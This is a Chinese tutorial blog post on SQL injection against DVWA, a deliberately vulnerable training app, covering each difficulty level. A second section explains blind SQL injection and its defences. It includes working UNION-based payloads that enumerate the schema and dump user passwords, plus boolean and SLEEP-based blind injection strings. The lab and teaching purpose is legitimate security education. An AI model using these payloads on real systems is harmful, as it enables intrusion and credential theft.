DVWA —— SQL Injection分析

本文详细介绍在DVWA平台上进行SQL注入攻击的实战过程,包括Low、Medium、High及Impossible四个难度级别的具体操作步骤,从数据库名、表名到列名及数据的获取,深入剖析不同防护级别下的注入技巧。

一.Low

1.Low等级的php代码

发现没有任何防御

2.直接order by

order by 3时错误

order by 2时正确

3.查询数据库

 

'union select database(),2#

 

得到数据库名为dvwa

4.查询表名

'union select table_name,2 from information_schema.tables where table_schema=0x64767761#

4.查询users下的列名

 

'union select column_name,2 from information_schema.columns where table_name=0x7573657273#

 

5.查询user,password的数据

 

'union select user,password from users#

 

 

 

二.Medium

1.Medium下的php代码

发现调用了mysqli_real_escape_string(),过滤掉了以下字符:\x00  \n  \r  \  '  "  \x1a

并把输入框改为了下拉选择

2.抓包尝试数字型注入

sql语句与Low等级下基本相同,需要去掉引号

仍然先ordey by,发现为2时正确

3.获取数据库名

4.表名

5.列名

6.列名下数据

 

三.High

1.High等级时php代码

与medium对比,仅是在sql语句中添加了LIMIT,想要只返回一个数据,注入时可以注释掉LIMIT

注入语句与Low等级时相同

 

四.Impossible

代码如下

发现首先使用了一个利用token防csrf的技术,之后检查输入id是否为数字型,之后还采用了PDO,最终结果唯一时才会回显。

 

转载于:https://www.cnblogs.com/Loong716/p/9919742.html

### SQL Injection (Blind) 简介 SQL Injection (Blind)即 SQL 盲注,是一种特殊的 SQL 注入攻击方式。在这种攻击中,攻击者无法直接从应用程序的响应中获取 SQL 查询的结果,而是通过构造特殊的 SQL 语句,根据应用程序返回的不同响应(如页面响应时间、页面显示内容的变化等)来推断数据库中的信息。 ### 攻击方法 #### 基于布尔的盲注 攻击者通过构造 SQL 语句,使数据库根据条件返回不同的结果,通过判断应用程序的响应来确定条件是否成立,逐步获取数据库信息。例如,在登录框输入用户名 `' AND 1=1 --` 和 `' AND 1=2 --`,如果前者登录成功而后者失败,说明存在 SQL 盲注漏洞,且数据库能够正确处理 `1=1` 这个条件。 #### 基于时间的盲注 当应用程序对所有 SQL 查询的响应都是相同的,无法通过布尔判断时,攻击者可以利用数据库的延时函数,通过判断应用程序的响应时间来推断信息。例如,构造 SQL 语句 `' AND SLEEP(5) --`,如果应用程序响应时间明显增加了 5 秒,就说明存在 SQL 盲注漏洞。 ### 防护措施 #### 输入验证 对用户输入的数据进行严格的验证和过滤,只允许合法的字符和格式。例如,对于数字类型的输入,只允许输入数字字符;对于字符串类型的输入,去除特殊字符和 SQL 关键字。 ```python import re def validate_input(input_data): # 只允许字母和数字 pattern = re.compile(r'^[a-zA-Z0-9]+$') if pattern.match(input_data): return True return False ``` #### 使用参数化查询 使用数据库提供的参数化查询功能,将用户输入的数据作为参数传递给 SQL 语句,而不是直接拼接在 SQL 语句中。这样可以防止 SQL 注入攻击,因为数据库会自动处理参数的转义。例如,在 Python 中使用 `sqlite3` 进行参数化查询: ```python import sqlite3 conn = sqlite3.connect('example.db') cursor = conn.cursor() username = "test' OR '1'='1" password = "password" # 使用参数化查询 cursor.execute("SELECT * FROM users WHERE username =? AND password =?", (username, password)) result = cursor.fetchone() ``` #### 最小化数据库权限 为应用程序分配最小的数据库权限,只允许其执行必要的操作。例如,如果应用程序只需要查询数据,就不授予其插入、更新和删除数据的权限。 ### 案例 假设存在一个简单的用户信息查询页面,用户可以通过输入用户 ID 来查询用户信息。页面的 SQL 查询语句如下: ```sql SELECT * FROM users WHERE id = '$id'; ``` 攻击者可以构造如下的 SQL 盲注语句来获取数据库信息: - 基于布尔的盲注:输入 `1' AND (SELECT COUNT(*) FROM users) > 10 --`,如果页面显示正常,说明用户表中的记录数大于 10;如果页面报错或显示异常,说明记录数小于等于 10。 - 基于时间的盲注:输入 `1' AND SLEEP(5) --`,如果页面响应时间明显增加了 5 秒,说明存在 SQL 盲注漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值